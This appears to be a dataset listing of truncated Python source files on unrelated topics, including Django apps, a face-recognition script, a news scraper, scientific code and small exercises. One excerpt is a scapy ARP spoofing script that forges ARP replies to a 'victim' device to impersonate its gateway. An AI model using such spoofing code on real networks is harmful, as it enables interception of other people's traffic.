text stringlengths 8 6.05M |
|---|
class Person(object):
def __init__(self,count):
self.count = count;
self.prev = None
self.next = None
def shout(self,shout,deadif):
if (shout < deadif): return (shout + 1)
self.prev.next = self.next
self.next.prev = self.prev
return 1
class Chain(object... |
"""
MIT License
Copyright (c) 2018 Simon Raschke
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish,... |
# Generated by Django 2.2 on 2019-03-13 15:48
from django.conf import settings
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('wikiApp', '0002_auto_20190313_1524'),
]
operations = [
... |
# -*- coding: utf-8 -*-
"""
Created on Mon Feb 5 16:02:10 2018
@author: Josh Jones
"""
# The following details a DNA sequence and its various complements
seq = input("Enter a DNA sequence consisting of A's, T's, G's, or C's: ")
seq = seq.upper()
for letter in seq:
if letter != 'A' and letter != 'T' and letter !... |
# -*- coding: UTF-8 -*-
import os,dlib,glob,numpy
from skimage import io
import cv2
import imutils
'''
if len(sys.argv) != 2:
print("缺少要辨識的圖片名稱")
exit()
'''
# 人臉68特徵點模型路徑
predictor_path = "shape_predictor_68_face_landmarks.dat"
# 人臉辨識模型路徑
face_rec_model_path = "dlib_face_recognition_resnet_model_v1.dat"
# 比... |
#!/usr/bin/env python
import yaml
import argparse
import numpy as np
class Lammps2ForceSets:
def __init__(self,
forces_filenames,
disp_filename="disp.yaml"):
self._forces_filenames = forces_filenames
self._disp_filename = disp_filename
def run(self):
... |
from django.contrib import admin
from .models import Channel, Project, Tag, Profile
# Register your models here.
admin.site.register([Channel, Project, Tag, Profile])
|
from selenium import webdriver
from bs4 import BeautifulSoup
import singleNewsCrawler
import MySQLdb
import configparser
class CNNScrapper:
def __init__(self):
'''
params:
database credentials. Fill up the config.ini according to your credentials
'''
self.driver=webdriver.Pha... |
# -*- coding: utf-8 -*-
"""
Created on June 10 20:54:27 2018
@author: Victor
"""
import os
import argparse
import re
import time
import multiprocessing
from multiprocessing import Pool
whitechars = '\?|\.|\!|\/|\\|\;|\:|`|_|,'
stopwords={"did", "out", "got", "her", "were", "the", "and", "was", "that", "his", "you", ... |
import sqlite3
from Tkinter import *
db = sqlite3.connect('NDI.db')
cur = db.cursor()
def add():
db.execute("create table if not exists pt (date text,task text,hrs int,remarks text)")
db.execute("create table if not exists mt (date text,task text,hrs int,remarks text)")
db.execute("create table if not exi... |
from datarender.fieldset import (
FieldSet, HeaderSet, ColumnSet, FormFieldSet, DynamicFieldSet)
from datarender.fields import (
BaseField, Field, Header, FieldMapper,
FormField, BaseDateField, DateField, DateTimeField)
|
def cube(x):
return x ** 3
def fibonacci(n):
if(n == 0):
return []
if(n == 1):
return [0]
if(n == 2):
return [0, 1]
else:
before = fibonacci(n - 1)
return before + [before[-1] + before[-2]]
|
import re
text = input()
target = input()
pattern = re.compile(target)
results = pattern.search(text)
if not results: print("(-1, -1)")
while results:
print("({0}, {1})".format(results.start(), results.end()-1))
results = pattern.search(text, results.start()+1)
|
from unittest import TestCase
import lamdex
import requests
import mock
class Test_Lamdex(TestCase):
def test_return_rate_returns_1(self):
self.assertEqual(lamdex.return_rate('EOS', test=True), 1)
def test_return_rate_fails_in_non_supported_tokens(self):
try:
lamdex.return_rate('XX... |
# Copyright (c) 2019-2020, RTE (https://www.rte-france.com)
# See AUTHORS.txt
# This Source Code Form is subject to the terms of the Apache License, version 2.0.
# If a copy of the Apache License, version 2.0 was not distributed with this file, you can obtain one at http://www.apache.org/licenses/LICENSE-2.0.
# SP... |
import argparse
parser = argparse.ArgumentParser(description='Parser for all the training options')
# General options
parser.add_argument('-shuffle', action='store_true', help='Reshuffle data at each epoch')
parser.add_argument('-small_set', action='store_true', help='Whether uses a small dataset')
parser.add_argumen... |
from rif_cpp.numeric.pigen import *
|
#kullanıcıdan okunan sayının asal sayı olup olmadığını döndüren algoritma
n = int(input("bir sayı giriniz: "))
i = 3
asalmi = 1
if(n!=2 and n%2==0):
asalmi = 0
else:
while(i<=n**(1/2)):
if(n%i==0):
asalmi = 0
i += 2
if(asalmi == 1):
print("asal sayıdır")
else:
print("asa... |
import sys
import time
spindle_current = 490
vacuum_table_current = 1234
air_quality_sensor = 2345
waste_sensor = 3453
dust_collector_power = True
air_quality_bad = False
waste_bin_full = True
spindle_warmed_up = True
diagnostics_template = """
+-------< spindle_current = {}mv
| +-----< vacuum_table_current = {}m... |
from django.db import models
from django.contrib.auth.models import User
from django.db.models.signals import post_save
from afriventapp.models import UserProfile
# def user_post_save(sender, **kwargs):
# if kwargs['created']:
# user_profile = UserProfile.objects.create(user=kwargs['instance'])
# post_s... |
#!/usr/bin/env python
"""
_ChangeState_
Sqlite implementation of Destroy for ThreadPool
"""
__all__ = []
from WMCore.Database.DBFormatter import DBFormatter
from WMCore.ThreadPool.MySQL.Destroy import Destroy as BaseDAO
class Destroy(BaseDAO):
def __init__(self):
BaseDAO.__init__(self)
self... |
import heapq
N, K = map( int, input().split())
H = [tuple( map( int, input().split())) for _ in range(N)]
ans = 0
heapq.heapify(H) #heap型にする
for _ in range(K):
M = heapq.heappop(H) #最小のものを取り出す
a, b = M[0], M[1]
ans += a
heapq.heappush(H,(a+b,b)) #加算したものをheapに追加する
print(ans)
|
#!/usr/bin/python
# -*- coding: utf-8 -*-
import cv2
import dlib
import numpy
from scipy.spatial import distance as dist
from imutils import face_utils
# define two constants, one for the eye aspect ratio to indicate
# blink and then a second constant for the number of consecutive
# frames the eye must be below the ... |
emails = ['me@hotmail.com','you@gmail.com','they@gmail.com']
# prints only gmail emails
for email in emails:
if 'gmail' in email:
print(email)
|
import sys
import json
import networkx as nx
def readInput(fp):
data = []
for line in open(fp, 'r', encoding='utf-8'):
data.append(json.loads(line))
return data
def writeOutput(fp, data):
with open(fp, 'w', encoding='utf-8') as outfile:
json.dump(data, outfile)
if __name__ == '__main__':
in... |
# INTRODUCTION TO FUNCTIONS
# First user wants to travel between these two points!
print("Setting the Empire State Building as the starting point and Time Square as our destination.")
print("Calculating the total distance between our points.")
print("The best route is by train and will take approximately 10 minutes.")
... |
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.
from odoo import http
from odoo.http import request
from odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT
from datetime import date
class LibraryController(http.Controller):
@http.route('/library/statistics', typ... |
from django.db import models
class GroupBy(models.Aggregate):
template = '%(expressions)s'
def __init__(self, expression, **extra):
super(GroupBy, self).__init__(
expression,
output_field=models.TextField(),
**extra
)
def get_group_by_cols(self):
... |
import numpy as np
import random
import cv2
def default_char_factory():
return chr(random.choice(list(range(33, 126))))
def get_char(size, rate=2.3, char_factory=default_char_factory, func_show=None):
w, h = size
h = int(h / rate)
result = ''
for r in range(h):
for c in range(w):
... |
from django.shortcuts import render, redirect
from django.http import HttpResponse
from django.contrib.auth import authenticate
# Create your views here.
# Controller - business logic
from quizapp.models import Question
from django.shortcuts import render
def index(request):
questions_list = Question.objects.all(... |
#
# This script implements functions for maximum likelihood
# estimation of a basis for a group of Quasar Spectra.
#
# Roughly, this procedure is the following:
# - Resample spectra from lam_obs into rest frame grid lam0, (using Z_spec)
# - Fit optimize basis and weights in an NMF-like framework (with normal err... |
import scapy.all as scapy
import time
import argparse
import sys
#spoofer function that works with scapy.send to create 'spoof' ARP packets to send to the victim
def spoofer(targetIP, spoofIP):
#targetIP - RPi IP, hwdst - RPi MAC Address, spoofIP - GatewayIP
packet=scapy.ARP(op=2,pdst=targetIP,hwdst='b8:27:eb:... |
SCREEN_SIZE=(1280, 768)
DATA_SIZE=32
WORLD_HEIGHT=5
OPTS_ENABLE_NORMALS=True
OPTS_ENABLE_TEXTURES=True
OPTS_ENABLE_FACES=True
OPTS_ENABLE_LIGHTING=True
VERTEX_BUFFERS=10000
NORMAL_BUFFERS=20000
TEXTURE_BUFFERS=30000
from math import radians
from texgen.tools import *
from Image import *
from OpenGL.GL import *
from... |
import datetime
import requests
import os
import argparse
import re
import numpy as np
import dask
import dask.array as da
import dask.bag as db
import gdal, ogr, gdalnumeric, gdalconst
from pathlib import Path
from utils.set_up_database import set_up_database
class User_input_pipeline(object):
start_date = Non... |
from django.conf.urls import url
from .views import AddNotice, ApiViewSet, NoticeYear, NoticeBranch, NoticeBranchYear
urlpatterns = [
url(r'^addnotices/$', AddNotice.as_view()),
url(r'^notices/$', ApiViewSet.as_view()),
url(r'^notices/year/', NoticeYear.as_view()),
url(r'^notices/branch/', NoticeBranch.as_view()),... |
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
from airflow.operators.dummy_operator import DummyOperator
from airflow.operators.python_operator import PythonOperator
from airflow.operators.python_operator import BranchPythonOperator
from airflow.operators.http_operator ... |
#!/usr/bin/env python3
import sys, argparse
from pathlib import Path
from Bio import SeqIO
def main():
print("""Size selector""")
parser = argparse.ArgumentParser()
parser.add_argument("--in", type=str,
action="store", dest="input",
help="Path to sequence file")
... |
"""
Profile Page app API URLs.
"""
from django.urls import path
from profile_page.api import api
from . import views
urlpatterns = [
# Views
path('', views.profile_page, name='profile-page'),
# Profile Page API Calls for Authentication
path('api', api.api_overview, name='profile-page-api_overview'),... |
class Solution(object):
def numMagicSquaresInside(self, grid):
"""
:type grid: List[List[int]]
:rtype: int
"""
result = 0
for y in range(2, len(grid)):
for x in range(2, len(grid[y])):
sum = grid[y][x-2] + grid[y][x-1] + grid[y][x]
... |
import fenics as fa
# Deformation gradient
def DeformationGradient(u):
I = fa.Identity(u.geometric_dimension())
return fa.variable(I + fa.grad(u))
# Determinant of the deformation gradient
def DetDeformationGradient(u):
F = DeformationGradient(u)
return fa.variable(fa.det(F))
# Right Cauchy-Green ten... |
import random
__all__ = ['say']
def say(*args, **kwargs):
if not all(isinstance(item, str) or callable(item)
for item in args):
raise ValueError('Each argument of say(...) must be str or callable')
response = kwargs.copy()
phrases = [item for item in args if isinstance(item, str... |
# -*- coding: utf-8 -*-
"""
Created on Fri Apr 14 11:53:19 2017
@author: cvpr
"""
import xlrd
data = xlrd.open_workbook('./csiq.DMOS.xlsx')
try:
sheet = data.sheet_by_name('all_by_distortion')
except:
print 'No sheet named: all_by_distortion'
exit(0)
sheet_len = len(sheet.col(3))-4
file_path = './csiq_... |
import os
from acme_diags.parameter.core_parameter import CoreParameter
from acme_diags.parameter.area_mean_time_series_parameter import AreaMeanTimeSeriesParameter
from acme_diags.run import runner
param = CoreParameter()
#For compy
machine_path_prefix = '/compyfs/e3sm_diags_data/'
#For cori
#machine_path_prefix = ... |
import os
import logging
from matplotlib.dates import date2num
from calendar import monthrange
import numpy as np
import IncludeFile as IncF
# import datetime as dt
from datetime import datetime, timedelta, date
import pdb
import sys
import bisect
import pandas as pds
import mospat_inc_directories as IncDir
import date... |
from sqlalchemy import Column, Integer, String, SmallInteger
from app.models.base import base
class Drift(base):
# 接受者的信息
recipitent_name = Column(String(20), nullable=False)
address = Column(String(120), nullable=False)
message = Column(String(50))
mobile = Column(String(11), nullable=False)
... |
#!/usr/bin/env python3
import grapher
import grapher_pb2 as pb
import hashlib
import unittest
class TestGrapherServicer(unittest.TestCase):
def test_get_line_graph(self):
totals_time = []
metadatas = []
metadatas.append(pb.Metadata(
title = "IPv4 title",
x_axis =... |
from sqlalchemy import Column, Integer, String, Boolean
from database import Base
from Crypto.Hash import SHA256
NAME_MAX = 50
USER_MAX = 120
EMAIL_MAX = 120
PASSWORD_MAX = SHA256.digest_size
class User(Base):
__tablename__ = 'users'
id = Column(Integer, primary_key=True)
name = Column(String(NAME_MAX))
... |
from django.urls import reverse_lazy
from django.contrib.messages import success
from django.shortcuts import redirect
from django.views.generic.edit import (
CreateView,
)
from .models import Contact
from .forms import ContactForm
from django.contrib.messages import success
from django.shortcuts import redirect
... |
# -*- coding: utf-8 -*-
# ! /usr/bin/env python
"""
@author:LiWei
@license:LiWei
@contact:877129310@qq.com
@version:V1.0
@var:中标信息清洗
@note:中标信息清洗及入库等
"""
import re
import MySQLdb
from xbzxproject.utils import loadconfig
import datetime
import logging
# 中标公司信息清洗
def zbxx(database, tablename, days):
conn = MySQ... |
from datetime import datetime
import threading
def run_time_decorator(main_function):
"""
this decorator will calculate the run time of the function
"""
def wrapper(*args):
start_time = datetime.now()
response = main_function(*args)
end_time = datetime.now()
print "{} {... |
#!/usr/bin/env python3
import sys
sys.path.insert(0, '..')
import models.model as model
import gaModel.parallelGA as parallelGA
import numpy as np
# from mpi4py import MPI
def execParallelGA(year, region, qntYears=5, times=1):
"""
Creates the GAModel with SC catalog with parallel and
distributed island m... |
import autograd.numpy as np
import matplotlib.pyplot as plt
import cv2 as cv2
import utils
import os
import time
import sys
from util_classes import Store, Output, Model, Template
from pymanopt.manifolds import Stiefel
from pymanopt import Problem
from pymanopt.solvers import TrustRegions
from matplotlib.patches import... |
__author__ = 'yuvv'
import json
from sys import exit as sys_exit
import plane
import pygame
from pygame.locals import *
# global variables
SCREEN_W, SCREEN_H = 480, 768
# pygame init
pygame.mixer.init()
pygame.init()
screen = pygame.display.set_mode((SCREEN_W, SCREEN_H),
pygame.FULL... |
import math
import unittest
import numpy as np
import numpy.testing as npt
import sigpy.mri.rf as rf
if __name__ == "__main__":
unittest.main()
class TestTrajGrad(unittest.TestCase):
def test_min_gradient(self):
t = np.linspace(0, 1, 1000)
kx = np.sin(2.0 * math.pi * t)
ky = np.cos(... |
import numpy as np
import scipy.sparse.linalg as linalg
def get_pagerank(transition_prob_matrix, alpha=0.85):
n = len(transition_prob_matrix)
transition_prob_matrix += np.ones([n,n])*alpha/n
lamb, v = linalg.eigs(transition_prob_matrix, k=1)
P = v[:, 0]
P /= P.sum()
return np.argsort(P)[::-1],... |
from django.db import models
from datetime import datetime
from applicant import Applicant
from django.conf import settings
class CreditRequest(models.Model):
'''
Represents a REQUEST to run credit one or more times for an applicant.
Belongs to an applicant so that we know which applicant and agreement,
... |
from nummath import isPrime,primesWithin
brange = primesWithin(1000)
nmax = 0
amax = 0
bmax = 0
for b in primesWithin(1000):
for a in range(-1000,1001):
n = 0
while(isPrime(n**2 + a*n + b)):
n = n+1
if n>nmax:
amax = a
bmax = b
nmax = n... |
#import sys
#input = sys.stdin.readline
def main():
N = 10
CAA, CAB, CBA, CBB = list(input())
S = set(["AB"])
for i in range(2,N):
T = set()
for s in S:
for j in range(i-1):
if s[j] == "A" and s[j+1] == "A":
T.add(s[:j+1] + CAA + s[j+1:])
... |
import serial
from time import gmtime, strftime
import time
import sys
import os
#----------------------------------------------------------------
port = input("COM-Port: ")
w = 1
while w:
try:
ser = serial.Serial("Com" + port,19200,timeout=0)
w = 0
except:
print("Fehler bei Verbindung!"... |
class Solution(object):
def letterCasePermutation(self, S):
"""
:type S: str
:rtype: List[str]
"""
res = [""]
S = S.lower()
for i in S:
if not i in '1234567890':
res = [c + i for c in res] + [c + i.upper() for c in res]
... |
def get_first_k(arr, length, start, end, k):
if start == 0 and arr[start] == k:
return 0
if start == end:
if arr[start] == k:
return start
else:
return -1
mid = (end + start) // 2
if arr[mid] == k and arr[mid - 1] != k:
return mid
if k <= arr[... |
from flask import Flask, render_template, redirect, request
from flask.ext.login import LoginManager, login_required, login_user, logout_user, UserMixin, current_user
from werkzeug.security import generate_password_hash, check_password_hash
from models.all import db, Person
from lib import *
app = Flask(__name__)
db.... |
from skimage import io
from matplotlib import pyplot as plt
import random
import sc
import network_energy
import forward_conv_energy
import forward_energy
import part1_energy
import combined_energy
image_dir = "smallcar.jpg"
# sb: 500*375 c*r
# cat: 360*263
# cute cat: 333*220 c*r
# timg: 325*186
#
cuts = 20
# sea... |
# -*- coding: utf-8 -*-
from django.conf.urls import url
from django.urls import include
urlpatterns = [
url(r'^kg_django/', include('kg_django.urls', namespace='kg_django'))
] |
# library path
import os, sys
# lib_path = os.path.abspath(
# '/vol/biomedic/users/aa16914/software/SimpleITK/SimpleITK-build/SimpleITK-build/Wrapping/Python/')
# sys.path.insert(1, lib_path)
import SimpleITK as sitk
import numpy as np
import math as mt
# ssim
from scipy.ndimage import uniform_fil... |
#import cv2
import argparse
class CommandLineInterface:
"""This class is for interpretting the arguments passed through
the command line and selecting what the program should do"""
def __init__(self):
# set up argument parser
self.parser = argparse.ArgumentParser()
self.parser.ad... |
# coding: utf8
import sys, os
import math
from PIL import Image
"""
与えられた画像をgmapのmarker用に整形する
読み込み画像は正方形であると仮定
"""
if not len(sys.argv) == 3:
print("invalid argument!")
sys.exit()
# 読み込み
logo_img = Image.open(sys.argv[1], 'r')
if logo_img.mode != "RGBA":
logo_img = logo_img.convert("RGBA") # RGBモードに変換する
s... |
from __future__ import print_function
import intermediate as ir
from util import MultiplePosInfo
Ref = ir.Ref
class ThreeError(Exception): pass
class DataType(str): pass
dt_num = DataType("int")
dt_bool = DataType("bool")
class RAMValue:
__slots__ = ["addr"]
def __init__(self, addr):
assert isinstance(addr, R... |
'''
Power Set: Write a method to return all subsets of a set.
'''
import copy
def getPowerSet(set):
if set is None:
return None
return getPowerSetHelper(set)
def getPowerSetHelper(set):
if len(set) == 0:
return [[]]
subset = getPowerSetHelper(set[1:])
moreSubset = copy.deepcopy(subset)
for list in moreSubs... |
import os
import glob
import numpy as np
import collections
import subprocess
import sys
from Bio.Blast.Applications import NcbiblastnCommandline
import matplotlib as mpl
# mpl.use('Agg')
import matplotlib.pyplot as plt
import stat
import math
import logging
logging.basicConfig(format='[%(asctime)s][%(funcName)s]... |
def mult_x_add_y(number, x, y):
print(number*x + y)
mult_x_add_y(5, 2, 3)
# 13
|
import sys
import numpy as np
import pymc3 as pm
import theano.tensor as T
import caustic as ca
sys.path.append("../")
from utils import find_alert_time
class DefaultModel(ca.models.SingleLensModel):
"""
Default model.
"""
def __init__(self, data):
super(DefaultModel, self).__init__(data,... |
#!/usr/bin/env python3
text = input("Enter string: ")
n = text.count(" ")
n = n + 1
print(n)
|
import random
liste = [random.randrange(1,101,1) for _ in range(random.randrange(5,31,1))]
print("entrée : ", liste)
def quicksorting(array):
if (len(array) > 0):
wall = 0
pivot = len(array) - 1
for i in range(len(array)):
if array[i] < array[pivot]:
array[i], ... |
"""Demonstration of the SimPhoNy Lammps-md Wrapper usingCUDS."""
from __future__ import print_function
import numpy
from simphony import CUBA, CUDS, Simulation
from simphony.cuds.meta import api
from simphony.cuds.particles import Particle, Particles
from simphony.engine import EngineInterface
# ####################... |
## Onur Yilmaz
## CENG 463 - Term Project
## File for validation list creation
## Import for file operation
import yaml
## List of URLS
validationList=[
('http://www.beyazperde.com/filmler/film-145397/elestiriler-beyazperde/', 'POSITIVE'),
('http://www.beyazperde.com/filmler/film-214686/elestiriler-beyaz... |
__author__ = 'Kostya'
from sklearn.preprocessing import PolynomialFeatures
from sklearn.linear_model import LinearRegression
import pandas as pd
import numpy as np
import seaborn as sns
import matplotlib.pyplot as plt
df = pd.read_csv('https://archive.ics.uci.edu/ml/machine-learning-databases/housing/housing.data',
... |
import cv2 as cv
import numpy as np
width = 640
height = 480
bpp = 3
img = np.zeros((height, width, bpp), np.uint8)
img_h = img.shape[0]
img_w = img.shape[1]
img_bpp = img.shape[2] # 채널수
# 원 그리기
cv.line(img, (width-1, 0), (0, height-1), (0, 255, 0), 3)
cv.line(img, (0, 0), (width-1, height-1), (0, 0, 255), 3)
cv.... |
import os
folder_path = "/Users/hzguo/11785/group/dataverse_files/staple-2020-train/en_hu"
gold_file = folder_path + "/" +"train.en_hu.2020-01-13.gold.txt"
baseline_file = folder_path + "/" + "train.en_hu.aws_baseline.pred.txt"
output_folder = "/Users/hzguo/11785/group/en_hu"
train_folder = output_folder + "/" + "t... |
# coding=utf-8
# Copyright 2020 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
import random
from model.models import Contact
from model.models import Group
def test_del_contact_in_group(app, db):
if len(db.get_contact_list()) == 0:
app.contact.create(Contact(firstname="Vlad", lastname="hater"))
if len(db.get_group_list()) == 0:
app.group.create(Group(name="test"))
g... |
'''
This code is intended to serve as a basic example for a pendulum disturbed by a trolley
'''
# import all appropriate modules
import numpy as np
from scipy.integrate import odeint
import InputShaping as shaping
import nonzero_shaper as nz_shape
# Define Constants
G = 9.81
DEG_TO_RAD = np.pi / 180
# ODE Solver cha... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2017-11-29 21:22
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('LariatApp', '0001_initial'),
]
operations = [
migrations.RemoveField(
m... |
from game.items.item import Log
from game.skills import SkillTypes
class MapleLog(Log):
name = 'Maple Log'
value = 97
xp = {SkillTypes.firemaking: 135.5, SkillTypes.fletching: 1}
skill_requirement = {SkillTypes.firemaking: 45, SkillTypes.fletching: 1} |
from edualgo import print_msg_box
class combinationsDict(dict):
def __missing__(self, k):
n,r = k
if r==0 or r==n:
self[k] = 1
return 1
K = self[n-1,r-1] + self[n-1,r]
self[k]= K
return K
@property
def hint(self):
message = """
... |
#!/usr/bin/python3
def multiple_returns(sentence):
if not(len(sentence) == 0):
return len(sentence), sentence[0]
return (0, None)
|
### this contains a test python file
print("Hellow world")
|
# coding: utf-8
# In[1]:
import sys
sys.path.append("../")
# In[2]:
import numpy as np, pandas as pd
import gym
from gym_ianna.envs.ianna_env import IANNAEnv
import tensorflow as tf
# In[3]:
import gym_ianna.envs.ianna_env as ianna_env
ianna_env.__file__
# In[4]:
default_args = {
'ENV': 'IANNA-v0'
,... |
from flask import Flask, render_template, request, Response
app = Flask(__name__)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/post_coord", methods=["POST"])
def get_coord():
x = request.form["x"]
y = request.form["y"]
print("x:{}, y:{}".format(x, y))
return "2... |
from fastapi import APIRouter
from fastapi.param_functions import Depends
from pydantic.main import BaseModel
from datetime import date
from ....domain.controller import create_invite_controller
from ..middlewares import ensure_authenticated
class Dto(BaseModel):
date: date
artist_id: str
latitude: float
long... |
from django.shortcuts import render,redirect
from .models import Contact,User,Book,Cart,Wishlist,Transaction
from django.conf import settings
from django.core.mail import send_mail
import random
from .paytm import generate_checksum, verify_checksum
from django.views.decorators.csrf import csrf_exempt
def initiate_pay... |
import numpy as np
x_data = np.load('../data/npy/boston_x.npy')
y_data = np.load('../data/npy/boston_y.npy')
print(x_data.shape, y_data.shape)
from sklearn.model_selection import train_test_split
x_train, x_test, y_train, y_test = train_test_split(x_data, y_data, test_size=0.2, random_state=45)
x_train, x_val, y_tra... |
from setuptools import setup, find_packages
setup(
name="tutils",
version="1.0",
author="trans",
author_email="transcendentsiki@gmail.com",
packages=find_packages()
)
# py_modules=['tutils'], |
#import sys
#input = sys.stdin.readline
def main():
N = int( input())
A = list( map( int, input().split()))
root = 1
if A[0] == 1:
if N == 0:
print(1)
else:
print(-1)
return
B = A[::-1]
low = high = B[0]
# Low = []
Hight = [high]
Low = ... |
file_name = '/home/kenny/data/Rfam.seed'
counter = 0
with open(file_name, 'rb') as f:
for line in f:
if(line == b'# STOCKHOLM 1.0\n'):
if(counter !=0):
tempFile.close()
counter += 1
tempFile = open('/home/kenny/data/msa/RF000{}.msa'.format(counter), "xb")
... |
import json
import jwt
import time
from datetime import datetime, timedelta
from django.conf import settings as st
from logging import getLogger
logger = getLogger('command')
__all__ = ('logger',)
def json_loads(data):
try:
return json.loads(data)
except:
return data
def json_dumps(data, i... |
import urllib2
example = urllib2.urlopen("http://example.com").headers.items()
wikipedia = urllib2.urlopen("http://en.wikipedia.org/wiki/Python_(programming_language)").headers.items()
statesman = urllib2.urlopen("http://statesman.com").headers.items()
print([x[1] for x in example if x[0] == 'last-modified'])
print([x... |
# Generated by Django 2.0 on 2017-12-15 20:48
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0011_userprofile_dob'),
]
operations = [
migrations.AlterField(
model_name='userprofile',
name... |
def recursion(number):
if number<=10:
print(f'{number}',end= ' ')
recursion(number+1)
print(f'{number}',end= ' ')
recursion(1)
|
# extract tars
import subprocess
import glob
import argparse
if __name__ == "__main__":
# download
sequences = [
"machine_hall/MH_01_easy/MH_01_easy.zip",
"machine_hall/MH_02_easy/MH_02_easy.zip",
"machine_hall/MH_03_medium/MH_03_medium.zip",
"machine_hall/MH_04_difficult/MH_0... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.